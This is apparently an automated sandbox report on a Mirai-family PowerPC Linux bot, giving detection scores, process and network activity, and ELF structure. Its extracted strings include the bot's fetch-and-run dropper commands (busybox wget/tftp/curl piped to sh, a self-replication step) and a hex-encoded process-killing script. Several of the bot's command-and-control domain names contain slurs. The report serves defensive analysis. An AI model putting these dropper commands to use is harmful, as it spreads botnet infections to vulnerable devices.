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Linux Analysis Report
WFdAK6HQgz.elf

Overview

General Information

Sample name:	WFdAK6HQgz.elf renamed because original name is a hash value
Original sample name:	06d621b325640a1d4a681ab242886bc5.elf
Analysis ID:	1432487
MD5:	06d621b325640a1d4a681ab242886bc5
SHA1:	c45afeea0c305fa75fbdab1ff7139183d2c8d4ff
SHA256:	66b2e5d8e1d74047a5d6e3986e04f7473535b7981e22d219247c46708e0be30b
Tags:	32elfmiraipowerpc
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1432487
Start date and time:	2024-04-27 11:06:14 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	WFdAK6HQgz.elf renamed because original name is a hash value
Original Sample Name:	06d621b325640a1d4a681ab242886bc5.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/129@8/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/WFdAK6HQgz.elf
PID:	5507
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

WFdAK6HQgz.elf (PID: 5507, Parent: 5431, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/WFdAK6HQgz.elf

WFdAK6HQgz.elf New Fork (PID: 5509, Parent: 5507)

WFdAK6HQgz.elf New Fork (PID: 5511, Parent: 5509)

WFdAK6HQgz.elf New Fork (PID: 5513, Parent: 5509)

WFdAK6HQgz.elf New Fork (PID: 5514, Parent: 5509)

cleanup

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: WFdAK6HQgz.elf	ReversingLabs: Detection: 55%
Source: WFdAK6HQgz.elf	Virustotal: Detection: 32%			Perma Link

Source: global traffic	DNS traffic detected: malformed DNS query: burnthe.libre. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: chinklabs.dyn. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: yellowchink.pirate. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: himrresearcher.dyn. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: netfags.geek. [malformed]

Source: unknown	TCP traffic detected without corresponding DNS query: 3.18.121.72
Source: unknown	TCP traffic detected without corresponding DNS query: 167.242.149.250
Source: unknown	TCP traffic detected without corresponding DNS query: 160.124.235.24
Source: unknown	TCP traffic detected without corresponding DNS query: 194.89.77.184
Source: unknown	TCP traffic detected without corresponding DNS query: 108.176.127.135
Source: unknown	TCP traffic detected without corresponding DNS query: 155.1.23.4
Source: unknown	TCP traffic detected without corresponding DNS query: 193.100.49.12
Source: unknown	TCP traffic detected without corresponding DNS query: 13.97.148.125
Source: unknown	TCP traffic detected without corresponding DNS query: 135.234.96.149
Source: unknown	TCP traffic detected without corresponding DNS query: 177.205.192.46
Source: unknown	TCP traffic detected without corresponding DNS query: 188.197.18.104
Source: unknown	TCP traffic detected without corresponding DNS query: 63.254.247.253
Source: unknown	TCP traffic detected without corresponding DNS query: 103.207.107.198
Source: unknown	TCP traffic detected without corresponding DNS query: 64.61.158.39
Source: unknown	TCP traffic detected without corresponding DNS query: 101.102.76.20
Source: unknown	TCP traffic detected without corresponding DNS query: 81.144.111.87
Source: unknown	TCP traffic detected without corresponding DNS query: 52.247.115.55
Source: unknown	TCP traffic detected without corresponding DNS query: 85.194.26.77
Source: unknown	TCP traffic detected without corresponding DNS query: 62.3.108.240
Source: unknown	TCP traffic detected without corresponding DNS query: 5.30.81.4
Source: unknown	TCP traffic detected without corresponding DNS query: 78.189.99.32
Source: unknown	TCP traffic detected without corresponding DNS query: 177.21.33.139
Source: unknown	TCP traffic detected without corresponding DNS query: 51.88.71.79
Source: unknown	TCP traffic detected without corresponding DNS query: 5.181.177.198
Source: unknown	TCP traffic detected without corresponding DNS query: 123.67.225.229
Source: unknown	TCP traffic detected without corresponding DNS query: 42.71.79.10
Source: unknown	TCP traffic detected without corresponding DNS query: 25.6.180.89
Source: unknown	TCP traffic detected without corresponding DNS query: 93.14.61.128
Source: unknown	TCP traffic detected without corresponding DNS query: 74.154.212.44
Source: unknown	TCP traffic detected without corresponding DNS query: 51.197.54.14
Source: unknown	TCP traffic detected without corresponding DNS query: 159.30.80.20
Source: unknown	TCP traffic detected without corresponding DNS query: 158.40.106.116
Source: unknown	TCP traffic detected without corresponding DNS query: 67.45.15.73
Source: unknown	TCP traffic detected without corresponding DNS query: 11.245.227.30
Source: unknown	TCP traffic detected without corresponding DNS query: 219.99.212.129
Source: unknown	TCP traffic detected without corresponding DNS query: 195.172.103.250
Source: unknown	TCP traffic detected without corresponding DNS query: 189.190.156.25
Source: unknown	TCP traffic detected without corresponding DNS query: 139.85.146.122
Source: unknown	TCP traffic detected without corresponding DNS query: 103.36.207.129
Source: unknown	TCP traffic detected without corresponding DNS query: 114.11.42.108
Source: unknown	TCP traffic detected without corresponding DNS query: 179.55.185.122
Source: unknown	TCP traffic detected without corresponding DNS query: 53.107.248.167
Source: unknown	TCP traffic detected without corresponding DNS query: 116.165.87.175
Source: unknown	TCP traffic detected without corresponding DNS query: 82.251.165.126
Source: unknown	TCP traffic detected without corresponding DNS query: 96.16.204.148
Source: unknown	TCP traffic detected without corresponding DNS query: 143.137.167.30
Source: unknown	TCP traffic detected without corresponding DNS query: 71.212.69.197
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.239.95
Source: unknown	TCP traffic detected without corresponding DNS query: 74.92.37.113
Source: unknown	TCP traffic detected without corresponding DNS query: 207.165.140.26

Source: global traffic	DNS traffic detected: DNS query: freethemonkeys.pirate
Source: global traffic	DNS traffic detected: DNS query: burnthe.libre. [malformed]
Source: global traffic	DNS traffic detected: DNS query: chinklabs.dyn. [malformed]
Source: global traffic	DNS traffic detected: DNS query: yellowchink.pirate. [malformed]
Source: global traffic	DNS traffic detected: DNS query: himrresearcher.dyn. [malformed]
Source: global traffic	DNS traffic detected: DNS query: netfags.geek. [malformed]
Source: global traffic	DNS traffic detected: DNS query: burnthe.libre

Source: WFdAK6HQgz.elf	String found in binary or memory: http:///curl.sh
Source: WFdAK6HQgz.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5592/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5592/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5592/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5592/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5550/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5550/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5550/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5550/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5540/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5540/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5551/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5551/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5551/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5551/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5541/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5541/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5552/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5552/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5552/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5552/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5542/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5542/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5553/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5553/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5553/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5553/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5543/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5543/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5544/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5544/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5534/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5534/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5545/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5545/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5535/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5535/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5546/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5546/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5536/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5536/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5547/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5547/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5537/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5537/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5548/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5548/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5538/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5538/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5549/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5549/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5549/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5549/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5604/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5604/cmdline	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5539/maps	Jump to behavior
Source: /tmp/WFdAK6HQgz.elf (PID: 5513)	File opened: /proc/5539/cmdline	Jump to behavior

Source: WFdAK6HQgz.elf, 5507.1.00005575c88bb000.00005575c896b000.rw-.sdmp, WFdAK6HQgz.elf, 5511.1.00005575c88bb000.00005575c896b000.rw-.sdmp	Binary or memory string: !/etc/qemu-binfmt/ppc1
Source: WFdAK6HQgz.elf, 5507.1.00005575c88bb000.00005575c896b000.rw-.sdmp, WFdAK6HQgz.elf, 5511.1.00005575c88bb000.00005575c896b000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/ppc
Source: WFdAK6HQgz.elf, 5507.1.00007ffdc7c90000.00007ffdc7cb1000.rw-.sdmp, WFdAK6HQgz.elf, 5511.1.00007ffdc7c90000.00007ffdc7cb1000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-ppc
Source: WFdAK6HQgz.elf, 5507.1.00007ffdc7c90000.00007ffdc7cb1000.rw-.sdmp, WFdAK6HQgz.elf, 5511.1.00007ffdc7c90000.00007ffdc7cb1000.rw-.sdmp	Binary or memory string: ax86_64/usr/bin/qemu-ppc/tmp/WFdAK6HQgz.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/WFdAK6HQgz.elf

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
WFdAK6HQgz.elf	55%	ReversingLabs	Linux.Trojan.Mirai
WFdAK6HQgz.elf	33%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http:///curl.sh	0%	Avira URL Cloud	safe
http:///wget.sh	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	WFdAK6HQgz.elf	false	Avira URL Cloud: safe	low
http:///curl.sh	WFdAK6HQgz.elf	false	Avira URL Cloud: safe	low

IP	Domain	Country	ASN	ASN Name	Malicious
177.72.232.28	unknown	Brazil	52892	COPRELTELECOMLTDABR	false
116.15.40.136	unknown	Singapore	9506	SINGTEL-FIBRESingtelFibreBroadbandSG	false
81.131.42.133	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
85.232.242.54	unknown	Poland	24723	ATMAN-OFFICE-INTERNET-ASATMANPL	false
115.95.147.118	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
48.87.2.232	unknown	United States	2686	ATGS-MMD-ASUS	false
51.205.6.31	unknown	United States	2686	ATGS-MMD-ASUS	false
30.240.95.33	unknown	United States	7922	COMCAST-7922US	false
154.122.79.112	unknown	Kenya	12455	JAMBONETKE	false
5.224.236.185	unknown	Spain	12430	VODAFONE_ESES	false
219.77.44.3	unknown	Hong Kong	4760	HKTIMS-APHKTLimitedHK	false
71.73.158.208	unknown	United States	10796	TWC-10796-MIDWESTUS	false
207.133.108.177	unknown	United States	6026	DNIC-ASBLK-05800-06055US	false
213.255.76.157	unknown	Italy	8968	BT-ITALIAIT	false
188.157.236.15	unknown	Hungary	5483	MAGYAR-TELEKOM-MAIN-ASMagyarTelekomNyrtHU	false
3.99.54.195	unknown	United States	16509	AMAZON-02US	false
202.59.68.69	unknown	Pakistan	17563	NEXLINX-AS-APAutonomousSystemNumberforNexlinxPK	false
198.12.122.187	unknown	United States	36352	AS-COLOCROSSINGUS	false
188.114.206.15	unknown	Russian Federation	201776	MIRANDA-ASRU	false
95.120.200.199	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
196.149.213.22	unknown	Egypt	36935	Vodafone-EG	false
68.214.216.193	unknown	United States	7018	ATT-INTERNET4US	false
120.79.97.41	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
52.226.219.14	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
74.74.7.187	unknown	United States	12271	TWC-12271-NYCUS	false
217.239.166.151	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
170.188.62.217	unknown	United States	47090	SCLHS-47090US	false
32.120.192.169	unknown	United States	7018	ATT-INTERNET4US	false
98.150.72.88	unknown	United States	20001	TWC-20001-PACWESTUS	false
176.142.18.111	unknown	France	5410	BOUYGTEL-ISPFR	false
220.213.25.117	unknown	Japan	9595	XEPHIONNTT-MECorporationJP	false
181.201.196.83	unknown	Chile	7418	TELEFONICACHILESACL	false
20.33.22.158	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
4.0.229.155	unknown	United States	3356	LEVEL3US	false
48.16.103.132	unknown	United States	2686	ATGS-MMD-ASUS	false
201.218.69.118	unknown	Panama	18809	CableOndaPA	false
163.31.148.241	unknown	Taiwan; Republic of China (ROC)	1659	ERX-TANET-ASN1TaiwanAcademicNetworkTANetInformationC	false
173.111.217.246	unknown	United States	10507	SPCSUS	false
83.141.238.14	unknown	France	21502	ASN-NUMERICABLEFR	false
171.117.38.85	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
4.0.229.155	sora.arm7	Get hash	malicious	Mirai	Browse
170.188.62.217	X3P8GhVjkC.elf	Get hash	malicious	Unknown	Browse
115.95.147.118	sora.arm	Get hash	malicious	Mirai	Browse
163.31.148.241	J3Za3c6EN2.elf	Get hash	malicious	Mirai	Browse
120.79.97.41	itHVWVUX29	Get hash	malicious	Mirai	Browse

Name	IP	Active	Malicious	Reputation
burnthe.libre	5.181.80.189	true	true	unknown
himrresearcher.dyn. [malformed]	unknown	unknown	true	unknown
chinklabs.dyn. [malformed]	unknown	unknown	true	unknown
burnthe.libre. [malformed]	unknown	unknown	true	unknown
netfags.geek. [malformed]	unknown	unknown	true	unknown
yellowchink.pirate. [malformed]	unknown	unknown	true	unknown
freethemonkeys.pirate	unknown	unknown	false	unknown

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
burnthe.libre	1B7E3FLOXC.elf	Get hash	malicious	Unknown	Browse	204.76.203.101
burnthe.libre	01EF8hZ6ib.elf	Get hash	malicious	Unknown	Browse	204.76.203.101

Process:	/tmp/WFdAK6HQgz.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	308
Entropy (8bit):	3.0960755192435796
Encrypted:	false
SSDEEP:	6:MD4gDF+NT/V/DFw4VqY/Vt/lr/VfKoO/VNfiY/VH:M8YY1q4V3Ql
MD5:	7A69FCB3A6675F861223ABF7C48C6588
SHA1:	C7970B7E94745248A33E3BE595DEB63A2E70B835
SHA-256:	0705E643D917BBBDDB03A123773EF5F2910FBFBB729154B84953F0421B85A074
SHA-512:	0F7B5CD6F716C256CA134A2ED9DB3147121C0804501EF358CD6DB1162F34DAC173F2BC4EDFF54C01FA0DF55C824AD47564154923A3585A08AA3A6715FBE822C4
Malicious:	false
Reputation:	low
Preview:	10000000-1000b000 r-xp 00000000 fd:00 531606 /tmp/..1001a000-1001b000 rw-p 0000a000 fd:00 531606 /tmp/..1001b000-1001d000 rw-p 00000000 00:00 0 .1001d000-1001e000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.273704182166885
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	WFdAK6HQgz.elf
File size:	43'336 bytes
MD5:	06d621b325640a1d4a681ab242886bc5
SHA1:	c45afeea0c305fa75fbdab1ff7139183d2c8d4ff
SHA256:	66b2e5d8e1d74047a5d6e3986e04f7473535b7981e22d219247c46708e0be30b
SHA512:	b9eb11c80dd4196a4211677a0582d1e5991e21b2a989bb0b7010ac8eac778fe27a0df644f484b47eb1a0fe0b6de7d444abb6be807404d405a45d2daf3ea98acf
SSDEEP:	768:ckKww5YO8PSJRlHHtIolbpo18dFDPw9cvnI8sRy:cAwa9PSJRpi89o1OFDI9mnI8sRy
TLSH:	7B136D01B3088813D11B5D706D3F1BE167AF9E602260A3CABD1EB39A84B1F73415BDAC
File Content Preview:	.ELF...........................4...@.....4. ...(.......................t...t...............x...x...x...x............dt.Q.............................!..\|......$H...H......$8!. \|...N.. .!..\|.......?..........\..../...@..\?........+../...A..$8...})......N..

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	PowerPC
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x100001f0
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	42816
Section Header Size:	40
Number of Section Headers:	13
Header String Table Index:	12

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10000094	0x94	0x24	0x0	0x6	AX	4
.text	PROGBITS	0x100000b8	0xb8	0x9368	0x0	0x6	AX	4
.fini	PROGBITS	0x10009420	0x9420	0x20	0x0	0x6	AX	4
.rodata	PROGBITS	0x10009440	0x9440	0x1134	0x0	0x2	A	4
.ctors	PROGBITS	0x1001a578	0xa578	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1001a580	0xa580	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1001a588	0xa588	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1001a590	0xa590	0x148	0x0	0x3	WA	8
.sdata	PROGBITS	0x1001a6d8	0xa6d8	0x18	0x0	0x3	WA	4
.sbss	NOBITS	0x1001a6f0	0xa6f0	0x6c	0x0	0x3	WA	4
.bss	NOBITS	0x1001a75c	0xa6f0	0x112c	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xa6f0	0x50	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000000	0x10000000	0xa574	0xa574	6.3361	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xa578	0x1001a578	0x1001a578	0x178	0x1310	0.7236	0x6	RW	0x10000	.ctors .dtors .jcr .data .sdata .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 27, 2024 11:06:56.701843023 CEST	192.168.2.14	152.53.15.127	0x7e3a	Standard query (0)	freethemonkeys.pirate	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:06:57.878036022 CEST	192.168.2.14	137.220.55.93	0x3d5	Standard query (0)	burnthe.libre. [malformed]	256	305	false
Apr 27, 2024 11:07:04.882993937 CEST	192.168.2.14	137.220.55.93	0x4cd8	Standard query (0)	chinklabs.dyn. [malformed]	256	312	false
Apr 27, 2024 11:07:10.888227940 CEST	192.168.2.14	5.161.109.23	0x6010	Standard query (0)	yellowchink.pirate. [malformed]	256	318	false
Apr 27, 2024 11:07:11.982072115 CEST	192.168.2.14	139.84.165.176	0x548c	Standard query (0)	himrresearcher.dyn. [malformed]	256	319	false
Apr 27, 2024 11:07:14.322326899 CEST	192.168.2.14	217.160.70.42	0x13ed	Standard query (0)	burnthe.libre. [malformed]	256	322	false
Apr 27, 2024 11:07:16.501468897 CEST	192.168.2.14	194.36.144.87	0x7116	Standard query (0)	netfags.geek. [malformed]	256	324	false
Apr 27, 2024 11:07:17.676409960 CEST	192.168.2.14	51.158.108.203	0xba8f	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 27, 2024 11:06:56.877402067 CEST	152.53.15.127	192.168.2.14	0x7e3a	Name error (3)	freethemonkeys.pirate	none	none	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:07:10.981790066 CEST	5.161.109.23	192.168.2.14	0x6010	Format error (1)	yellowchink.pirate. [malformed]	none	none	256	318	false
Apr 27, 2024 11:07:12.322032928 CEST	139.84.165.176	192.168.2.14	0x548c	Format error (1)	himrresearcher.dyn. [malformed]	none	none	256	320	false
Apr 27, 2024 11:07:16.675909042 CEST	194.36.144.87	192.168.2.14	0x7116	Format error (1)	netfags.geek. [malformed]	none	none	256	324	false
